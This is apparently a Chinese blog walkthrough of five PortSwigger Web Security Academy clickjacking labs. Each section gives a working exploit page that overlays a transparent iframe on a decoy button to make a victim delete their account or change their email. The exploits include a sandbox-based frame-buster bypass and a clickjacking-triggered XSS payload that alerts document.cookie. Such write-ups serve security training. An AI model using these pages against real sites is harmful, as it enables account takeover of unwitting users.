Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing)
1 - Basic clickjacking with CSRF token protection
题目描述
- 登陆后可以删除账号,但是该功能点有csrf token保护
要求
- 让受害者删掉自己的账号
解题过程
因为要调CSS,就先用一下材料里给的代码看看(具体参数有问题,自己调整调整,显示没过,然后修改的时候提示solved。。。原本的参数没记下来)
<head>
<style>
#target_website {
position: relative;
width: 1280px;
height: 400px;
opacity: 0.0000000000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:575px;
left:100px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
click
</div>
<iframe id="target_website" src="https://ac411f1c1e3720d880aa0ddc00c8008d.web-security-academy.net/my-account">
</iframe>
</body>
2 - Clickjacking with form input data prefilled from a URL parameter
题目描述
- 没啥描述的
要求
- 利用预填充来修改用户邮箱
解题过程
访问
/my-account?email=asd@asd.asd
,发现邮箱被预填充进页面构造恶意页面,钓鱼(借助上一题的代码)
<head>
<style>
#target_website {
position: relative;
width: 400px;
height: 600px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:525px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://ac131f121fdf9d78802b4cc1006300fb.web-security-academy.net/my-account?email=asd@asd.asd">
</iframe>
</body>
3 - Clickjacking with a frame buster script
题目描述
- 这个lab被frame buster保护着
要求
- 修改受害者邮箱
解题过程
材料里有说frame buster,大致意思就是只接受自己是最顶层网页(根节点),关于这个东西google上挺多的,[贴一个])(https://zhuanlan.zhihu.com/p/27310909)
但是
iframe
指定sandbox为allow-forms或者allow-scripts
,且忽略allow-top-navigation
会使iframe
中的网页不知道自己是否是最顶层网页构造exp
<head>
<style>
#target_website {
position: relative;
width: 400px;
height: 600px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:505px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" sandbox="allow-forms" src="https://ac741fe61e32394280fe03af00970035.web-security-academy.net/my-account?email=asd@asd.asd">
</iframe>
</body>
4 - Exploiting clickjacking vulnerability to trigger DOM-based XSS
题目描述
- 把Dom based XSS和Clickjacking结合起来
要求
alert(document.cookie)
解题过程
首先找XSS,发现在feedback页面可以使用GET预填充参数,提交后,会把name直接打印出来
构造exp
<head>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.00000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:805px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://ac2c1f701efa1dee807e67af00d40001.web-security-academy.net/feedback?name=%3Cimg/src=x%20onerror=alert(document.cookie)%3E&email=asd@asd.com&subject=asd&message=asd">
</iframe>
</body>
5 - Multistep clickjacking
题目描述
- 这个lab的账号相关的功能点被csrf token保护着,并且有一个确认对话框来防止点击劫持
要求
- 让受害者删除自己的账号
解题过程
多了个对话框。。。相比实际场景,不需要动态显示就很简单了
上exp
<head>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website_1 {
position:absolute;
top:495px;
left:60px;
z-index:1;
}
#decoy_website_2 {
position:absolute;
top:285px;
left:190px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website_1">
Click me first
</div>
<div id="decoy_website_2">
Click me next
</div>
<iframe id="target_website" src="https://ac871f9f1e4e40b7801a875000290076.web-security-academy.net/my-account">
</iframe>
</body>
Portswigger web security academy:Clickjacking (UI redressing)的更多相关文章
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
随机推荐
- CVE-2016-5734-phpmyadmin-4.0.x-4.6.2-代码执行
参考 https://www.jianshu.com/p/8e44cb1b5b5b 漏洞原因 phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.在其查找并替换字符串功能中,将用户 ...
- jdk8的安装与环境搭建
jdk8的安装与环境搭建 jdk8下载网址:https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html ...
- 开发C语言的3款神器,VS2019、VScode和IntelliJ Clion
一.Visual Studio 2019环境安装配置+代码调试 环境安装配置 首先我们要在Visual Studio官方网站去下载安装包 进入官网后会发现有三种版本可供下载,分别是社区版.专业版和企业 ...
- Java 树结构实际应用 四(平衡二叉树/AVL树)
平衡二叉树(AVL 树) 1 看一个案例(说明二叉排序树可能的问题) 给你一个数列{1,2,3,4,5,6},要求创建一颗二叉排序树(BST), 并分析问题所在. 左边 BST 存在的问题分析: ...
- 快速了解C# 8.0中“可空引用类型(Nullable reference type)”语言特性
Visual C# 8.0中引入了可空引用类型(Nullable reference type),通过编译器提供的强大功能,帮助开发人员尽可能地规避由空引用带来的代码问题.这里我大致介绍一下可空引用类 ...
- Bi-shoe and Phi-shoe LightOJ - 1370(数论+素数筛)
题目链接:https://vjudge.net/problem/LightOJ-1370 题意:给你N个欧拉函数值,找出每一个大于等于该欧拉函数值的数,并且要求相加和最小. 题解:因为素数i的欧拉函数 ...
- nodeJS详解2
Nodejs应用场景 创建应用服务 web开发 接口开发 客户端应用工具 gulp webpack vue脚手架 react脚手架 小程序 NodeJs基于 Commonjs模块化开发的规范,它定义 ...
- PAT (Advanced Level) Practice 1011 World Cup Betting (20 分) 凌宸1642
PAT (Advanced Level) Practice 1011 World Cup Betting (20 分) 凌宸1642 题目描述: With the 2010 FIFA World Cu ...
- Netcore webapi action swagger response返回参数使用匿名类型
问题:action中返回匿名对象时,swagger只能按强类型生成返回值描述 解决办法:使用roslyn在内存中动态执行代码,使用json.net反序列化匿名对象,向swagger返回动态匿名对象 效 ...
- jQuery入门看这一篇就够了
一.选择器 1.基本 名称 用法 描述 #id $("#myDiv"); 根据给定的ID匹配一个元素 element $("div"); 根据给定的元素标签名匹 ...